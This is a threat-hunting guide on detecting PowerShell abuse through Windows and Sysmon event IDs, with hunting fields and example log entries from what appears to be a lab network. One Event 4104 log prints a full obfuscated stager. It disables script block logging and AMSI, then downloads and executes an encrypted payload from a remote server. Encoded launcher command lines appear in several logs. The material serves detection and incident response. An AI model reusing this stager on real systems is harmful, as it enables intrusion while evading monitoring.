PowerShell Hunting and Detection for (Threat Hunters | DFIR | Blue Team Activities)

Sunday, June 4, 2023 2:23 PM

Author: Muhammed Talaat - **Senior.** Malware Researcher | DFIR Investigator | Threat Intelligence Analyst
LinkedIn: https://www.linkedin.com/in/muhammed-talaat-0x00/
Twitter: https://twitter.com/Muhammed_0x00
Personal Email: muhammed.talaat.0x00@gmail.com

PowerShell Activities

Data Source	Channel	Category - Refers To	Event ID	Description | Comment
PowerShell	Microsoft-Windows-PowerShell/Operational	User started Application host	4103	• records all the obfuscated commands as pipeline execution details. • Hunt the obfuscated commands and calls self-defined variables and system commands.
PowerShell	Microsoft-Windows-PowerShell/Operational	Script block contents	4104	• Execution of a remote PowerShell command. • Captures the entire scripts that are executed by remote machines. For example, obfuscated scripts that are decoded and executed at run time. • If an event exceeds the maximum event log message size, script block logging will split the logged events into multiple events and suspicious commands can be observed at the logging level of "warning".
PowerShell	Windows PowerShell	Application host started	400	• Indicates when a new PowerShell host process has started.

Event ID	Hunting Parameters
4103	`@timestamp` | Hostname | AccountType | AccountName | ContextInfo
4104	`@timestamp` | Hostname | AccountType | AccountName | UserID | ScriptBlockText
400	`@timestamp` | Hostname | Message

Examples:

```
|2020-09-04T20:10:00.492Z|WORKSTATION5.theshire.local|Microsoft-Windows-PowerShell/Operational|4103|User|
pgustavo |Severity = Informational\r\n Host Name = ConsoleHost\r\n Host Version = 5.1.1836
2.752\r\n Host ID = 39315e7d-5bea-48aa-8ea8-21c983c954a8\r\n Host Application = C:\Windows\System32\W
indowsPowerShell\v1.0\powershell.exe -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBFAFIAUwBpAE8AbgBUAGEAQgBsAEUALgBQAFMAVg
BFAHIAUwBJAE8AbgAuAE0AYQBqAE8AUgAgAC0AZwBFACAAMwApAHsAJAA2ADgANgA2AD0AWwByAEUARgBdAC4AQQBTAHMARQBNAGIATABZAC4ARwBlA
HQAVABZAFAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAFUAdABpAGwAcwAnACkA
LgAiAEcARQB0AEYAaQBlAGAATABEACIAKAAnAGMAYQBjAGgAZQBkAEcAcgBvAHUAcABQAG8AbABpAGMAeQBTAGUAdAB0AGkAbgBnAHMAJwAsACcATgA
nACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwBJAGYAKAAkADYAOAA2ADYAKQB7ACQAMQBmAGUANwA9ACQANgA4ADYANgAuAE
cAZQB0AFYAYQBMAFUARQAoACQAbgBVAGwATAApADsASQBmACgAJAAxAEYARQA3AFsAJwBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZ
wBpAG4AZwAnAF0AKQB7ACQAMQBGAEUANwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBi
AGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJAAxAEYAZQA3AFsAJwBTAGMAcgBpAHAAdABCACc
AKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AWwAnAEUAbgBhAGIAbABlAFMAYwByAGkAcAB0AEIAbABvAGMAawBJAG4AdgBvAGMAYQB0AGkAbw
BuAEwAbwBnAGcAaQBuAGcAJwBdAD0AMAB9ACQAdgBBAGwAPQBbAEMAbwBsAGwARQBjAHQASQBPAG4AcwAuAEcARQBOAGUAcgBJAEMALgBEAEkAYwBUA
EkATwBuAGEAcgBZAFsAUwB0AHIASQBuAGcALABTAFkAcwBUAEUAbQAuAE8AYgBKAEUAYwB0AF0AXQA6ADoAbgBlAHcAKAApADsAJABWAGEAbAAuAEEA
ZABkACgAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnACwAMAApADsAJAB2AGEAbAAuAEEAZAB
kACgAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACgAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcALAAwACkAOwAkAD
EARgBFADcAWwAnAEgASwBFAFkAXwBMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAFwAUAByAGYAdAB3AGEAcgBlAFwAUABvAGwAaQBjAGkAZQBzAFwAT

PowerShell/Operational Log (Event ID: 4103)
```

```
-------------+
|2020-09-04T20:10:00.327Z|WORKSTATION5.theshire.local|4104|User|pgustavo|If($PSVERSiOnTaBlE.PSVErSIOn.M
ajOR -gE 3){$6866=[REF].ASsEMbLY.GetTYPE('System.Management.Automation.Utils')."GEtFIe`LD"('cachedGroupPolicySetting
s','N'+'onPublic,Static');If($6866){$1fe7=$6866.GetVaLUE($nUlL);If($1FE7['ScriptB'+'lockLogging'])){$1FE7['ScriptB'+'
lockLogging']['EnableScriptB'+'lockLogging']=0;$1Fe7['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=
0}$vAl=[CollEctIOns.GENerIC.DIcTIOnarY[StrIng,SYsTEm.ObJEct]]::new();$Val.Add('EnableScriptB'+'lockLogging',0);$val.
Add('EnableScriptBlockInvocationLogging',0);$1FE7['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShel
l\ScriptB'+'lockLogging']=$Val}ElSE{[SCRiptBlOCk]."GeTFIE`lD"('signatures','N'+'onPublic,Static').SETValuE($NULL,(Ne
w-OBjEcT CoLlections.GenERIc.HaSHSEt[STRIng]))}$Ref=[ReF].AsseMBlY.GETTypE('System.Management.Automation.Amsi'+'Util
s');$REf.GeTFIELd('amsiInitF'+'ailed','NonPublic,Static').SeTVaLUE($nulL,$tRUE);};[SYsTem.NEt.SErviCePoINTMAnaGER]::
ExPect100COntinUe=0;$F94E=New-ObJECt SYsTEM.NeT.WebCLienT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:1
1.0) like Gecko';$ser=$([TexT.EnCODiNg]::UNIcODE.GetStriNG([COnvERT]::FRoMBAsE64StriNg('aAB0AHQAcAA6AC8ALwAxADAALgAx
ADAALgAxADAALgA1AA==')));$t='/news.php';$f94E.HEaderS.ADd('User-Agent',$u);$f94e.PROxY=[SYsteM.Net.WEbREQuEst]::DeFA
ULtWEBPROXy;$F94E.PrOXY.CReDentIaLS = [SYSTeM.Net.CrEdeNTiAlCAche]::DefAultNEtwORkCreDENtialS;$Script:Proxy = $f94e.
Proxy;$K=[SyStem.Text.EnCoding]::ASCII.GetByteS('3+Ymcn)s0r8=#dxZ65;}O%|LlHi~f{zB');$R={$D,$K=$Args;$S=0..255;0..25
5|%{$J=($J+$S[$_]+$K[$_%$K.COUnt])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S
[$H]=$S[$H],$S[$I];$_-bXor$S[($S[$I]+$S[$H])%256]}};$F94E.HeADeRS.Add("Cookie","JQOHuDGrNLGeOPyl=E2Hzj61lui7hWMYQe63
WUws0zZ8=");$datA=$f94E.DOWnLoADData($seR+$t);$Iv=$data[0..3];$dAtA=$Data[4..$daTA.lenGTH];-joIN[CHAr[]](&amp; $R $d
aTA ($IV+$K))|IEX|

PowerShell/Operational Log (Event ID: 4104)
```

```
|2020-09-04T20:10:00.295Z|WORKSTATION5.theshire.local|Windows PowerShell|400|Engine state is changed from None
to Available. \r\n\r\nDetails: \r\n\tNewEngineState=Available\r\n\tPreviousEngineState=None\r\n\r\n\tSequenceNumber
=13\r\n\r\n\tHostName=ConsoleHost\r\n\tHostVersion=5.1.18362.752\r\n\tHostId=39315e7d-5bea-48aa-8ea8-21c983c954a8\
r\n\tHostApplication=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noP -sta -w 1 -enc SQBmACgAJABQAFMA
VgBFAFIAUwBpAE8AbgBUAGEAQgBsAEUALgBQAFMAVgBFAFIAUwBJAE8AbgAuAE0AYQBqAE8AUgAgAC0AZwBFACAAMwApAHsAJAA2ADgANgA2AD0AWwB
yAEUARgBdAC4AQQBTAHMARQBNAGIATABZAC4ARwBlAHQAVABZAFAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AH
QAbwBtAGEAdABpAG8AbgAuAFUAdABpAGwAcwAnACkALgAiAEcARQB0AEYAaQBlAGAATABEACIAKAAnAGMAYQBjAGgAZQBkAEcAcgBvAHUAcABQAG8Ab
ABpAGMAeQBTAGUAdAB0AGkAbgBnAHMAJwAsACcATgAnACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwBJAGYAKAAkADYAOAA2
ADYAKQB7ACQAMQBmAGUANwA9ACQANgA4ADYANgAuAEcAZQB0AFYAYQBMAFUARQAoACQAbgBVAGwATAApADsASQBmACgAJAAxAEYARQA3AFsAJwBTAGM
AcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AKQB7ACQAMQBGAEUANwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYw
BrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwA
DsAJAAxAEYAZQA3AFsAJwBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AWwAnAEUAbgBhAGIAbABlAFMAYwByAGkA
cAB0AEIAbABvAGMAawBJAG4AdgBvAGMAYQB0AGkAbwBuAEwAbwBnAGcAaQBuAGcAJwBdAD0AMAB9ACQAdgBBAGwAPQBbAEMAbwBsAGwARQBjAHQASQB
PAG4AcwAuAEcARQBOAGUAcgBJAEMALgBEAEkAYwBUAEkATwBuAGEAcgBZAFsAUwB0AHIASQBuAGcALABTAFkAcwBUAEUAbQAuAE8AYgBKAEUAYwB0AF
0AXQA6ADoAbgBlAHcAKAApADsAJABWAGEAbAAuAEEAZABkACgAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZ
wBpAG4AZwAnACwAMAApADsAJAB2AGEAbAAuAEEAZABkACgAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACgAbwBjAGsASQBuAHYAbwBjAGEAdABp
AG8AbgBMAG8AZwBnAGkAbgBnACcALAAwACkAOwAkADEARgBFADcAWwAnAEgASwBFAFkAXwBMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAFwAUAByAGY

PowerShell Log (Event ID: 400)
```

Data Source	Channel	Category - Refers To	Event ID	Description | Comment
PowerShell	Microsoft-Windows-PowerShell/Operational	Application domain started	53504	• The “PowerShell Named Pipe IPC” event will indicate the name of the PowerShell AppDomain that started. When DSC executes the script resource, this event automatically captures the "DscPsPluginWkr_AppDomain" AppDomain which, as the name suggests, is unique to DSC execution.

Event ID	Hunting Parameters
53504	`@timestamp` | Hostname | Message

Example:

```
----------------------------------------+
|@timestamp              |Hostname                |Message
|
+------------------------+------------------------+-------------------------------------------------------------
----------------------------------------+
|2020-09-04T20:10:00.325Z|WORKSTATION5.theshire.local|Windows PowerShell has started an IPC listening thread on proc
ess: 2316 in AppDomain: DefaultAppDomain.|
+------------------------+------------------------+-------------------------------------------------------------
----------------------------------------+
```

PowerShell/Operational Log (Event ID: 53504)

❋ Application Whitelisting

Data Source	Channel	Category - Refers To	Event ID	Description | Comment
Process	Security	A new process has been created	4688	• Logs details about new process creations within Windows.

Event ID	Hunting Parameters
4688	`@timestamp` | Hostname | NewProcessName| ParentProcessName| SubjectUserName | CommandLine | Message

- When you hunt with this Event ID pay attention to the **Parent Process** (Specifically when it's not "**explorer.exe**")

Examples:

```
|2020-09-04T20:09:57.091Z|WORKSTATION5.theshire.local|C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe|C:\
Windows\System32\wscript.exe|4688  |A new process has been created.\r\n\r\nCreator Subject:\r\n\tSecurity ID:\t\tS
-1-5-21-2079883792-3656946353-945924832-1104\r\n\tAccount Name:\t\tpgustavo\r\n\tAccount Domain:\t\tTHESHIRE\r\n\tL
ogon ID:\t\t0x2D5A4B\r\n\r\nTarget Subject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domai
n:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nProcess Information:\r\n\tNew Process ID:\t\t0x90c\r\n\tNew Process Name:\tC:\
Windows\System32\WindowsPowerShell\v1.0\powershell.exe\r\n\tToken Elevation Type:\t%%1938\r\n\tMandatory Label:\t\t
S-1-16-8192\r\n\tCreator Process ID:\t0x988\r\n\tCreator Process Name:\tC:\Windows\System32\wscript.exe\r\n\tProces
s Command Line:\t"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc  SQBmACgAJABQAFMAV
gBFAFIAUwBpAE8AbgBUAGEAQgBsAEUALgBQAFMAVgBFAHIAUwBJAE8AbgAuAE0AYQBqAE8AUgAgAC0AZwBFACAAMwApAHsAJAA2ADgANgA2AD0AWwBy
AEUARgBdAC4AQQBTAHMARQBNAGIATABZAC4ARwBlAHQAVABZAFAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQ
AbwBtAGEAdABpAG8AbgAuAFUAdABpAGwAcwAnACkALgAiAEcARQB0AEYAaQBlAGAATABEACIAKAAnAGMAYQBjAGgAZQBkAEcAcgBvAHUAcABQAG8AbA
BpAGMAeQBTAGUAdAB0AGkAbgBnAHMAJwAsACcATgAnACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwBJAGYAKAAkADYAOAA2A
DYAKQB7ACQAMQBmAGUANwA9ACQANgA4ADYANgAuAEcAZQB0AFYAYQBMAFUARQAoACQAbgBVAGwATAApADsASQBmACgAJAAxAEYARQA3AFsAJwBTAGMA
```

Security Log (Event ID: 4688)

❋ Sysmon Logs

Data Source	Channel	Category - Refers To	Event ID	Description | Comment
Process	Microsoft-Windows-Sysmon/Operational	A new process has been created	1	• Logs new process creations within Windows. • Provides context on the process execution.

Event ID	Hunting Parameters
1	`@timestamp` | Hostname | Image| ParentImage| CommandLine | ParentCommandLine | Hashes | Message

- Filter with Image: "**powershell.exe**"
- When you hunt with this Event ID pay attention to the **Parent Process** (Specifically when it's not "**explorer.exe**")

Examples:

```
r\nUser: THESHIRE\pgustavo\r\nLogonGuid: {860ba2e3-9939-5f52-4b5a-2d0000000000}\r\nLogonId: 0x2D5A4B\r\nTerminalSes
sionId: 2\r\nIntegrityLevel: Medium\r\nHashes: SHA1=36C5D12033B2EAF251BAE61C00690FFB17FDDC87,MD5=CDA48FC75952AD12D9
9E526D0B6BF70A,SHA256=908B64B1971A979C7E3E8CE4621945CBA84854CB98D76367B791A6E22B5F6D53,IMPHASH=A7CEFACDDA74B13CD330
390769752481\r\nParentProcessGuid: {860ba2e3-9f13-5f52-2603-000000000400}\r\nParentProcessId: 2440\r\nParentImage:
C:\Windows\System32\wscript.exe\r\nParentCommandLine: "C:\windows\System32\WScript.exe" "C:\Users\pgustavo\Desktop\
launcher.vbs" |
```

```
|2020-09-04T20:09:57.060Z|WORKSTATION5.theshire.local C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe nul
l       1       |Process Create:\r\nRuleName: -\r\nUtcTime: 2020-09-04 20:09:55.760\r\nProcessGuid: {860ba2e3-9f13-
5f52-2703-000000000400}\r\nProcessId: 2316\r\nImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe\r\nF
ileVersion: 10.0.18362.1 (WinBuild.160101.0800)\r\nDescription: Windows PowerShell\r\nProduct: Microsoft® Windows®
Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: PowerShell.EXE\r\nCommandLine: "C:\Windows\
System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc  SQBmACgAJABQAFMAVgBFAFIAUwBpAE8AbgBUAGEAQgBsAE
UALgBQAFMAVgBFAHIAUwBJAE8AbgAuAE0AYQBqAE8AUgAgAC0AZwBFACAAMwApAHsAJAA2ADgANgA2AD0AWwByAEUARgBdAC4AQQBTAHMARQBNAGIAT
ABZAC4ARwBlAHQAVABZAFAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAFUAdABp
AGwAcwAnACkALgAiAEcARQB0AEYAaQBlAGAATABEACIAKAAnAGMAYQBjAGgAZQBkAEcAcgBvAHUAcABQAG8AbABpAGMAeQBTAGUAdAB0AGkAbgBnAHM
AJwAsACcATgAnACsAJwBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwBJAGYAKAAkADYAOAA2ADYAKQB7ACQAMQBmAGUANwA9ACQANg
A4ADYANgAuAEcAZQB0AFYAYQBMAFUARQAoACQAbgBVAGwATAApADsASQBmACgAJAAxAEYARQA3AFsAJwBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjA
```

Sysmon Log (Event ID: 1)

Data Source	Channel	Category - Refers To	Event ID	Description | Comment
Module	Microsoft-Windows-Sysmon/Operational	Process loaded Dll	7	• The image loaded event logs when a module is loaded in a specific process.

Event ID	Hunting Parameters
7	`@timestamp` | Hostname | Image| ImageLoaded | Hashes | AccountType | Message | Signed

- Monitor for processes loading PowerShell DLL "**system.management.automation**".
- Filter with Description or ImageLoaded: "**system.management.automation**"

Examples:

```
----------------+
|@timestamp             |Hostname                 |Image                                                          |Imag
eLoaded
|
+----------------------+-------------------------+---------------------------------------------------------------+----
----------------------------------------------------------------------------------------------------------------------
----------------+
|2020-09-04T20:10:00.414Z|WORKSTATION5.theshire.local|C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe|C:\W
indows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\8c159a697bcf84de413ace36e043a6c7\System.Management.A
utomation.ni.dll|
```

Sysmon Log (Event ID: 7)

Data Source	Channel	Category - Refers To	Event ID	Description | Comment
Named Pipe	Microsoft-Windows-Sysmon/Operational	Process created Pipe	17	• This event generates when a named pipe is created. Malware often uses named pipes for interprocess communication.

Event ID	Hunting Parameters
17	`@timestamp` | Hostname | Image| PipeName

- A pipe is a section of shared memory that processes use for communication.
- Monitoring for **PSHost*** pipes to find PowerShell execution.
- **Format:** PSHost.<StartTimestampTicks>.<ProcessID>.DefaultAppDomain.powershell

Examples:

```
-------------------------+
|@timestamp             |Image                                                          |PipeName
|
+----------------------+---------------------------------------------------------------+----------------------------
-------------------------+
|2020-09-04T20:10:00.419Z|C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe|\PSHost.132437237957601629.2316.
DefaultAppDomain.powershell|
|2020-09-04T20:10:24.931Z|C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe|&lt;Anonymous Pipe&gt;
|
+----------------------+---------------------------------------------------------------+----------------------------
```

Sysmon Log (Event ID: 17)

❋ PowerShell Transcript

- For DFIR investigators they can look for transcript file if it was active.
- **Transcript** file is a .txt document located by default in the **Documents** directory, it records all PowerShell sessions. The transcript file includes all command that the user types and all output that appears on the console.

❋ PowerShell History File

- For DFIR investigators they can look for PS history file, it records everything you type in PowerShell.
- Located in: APPDATA\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt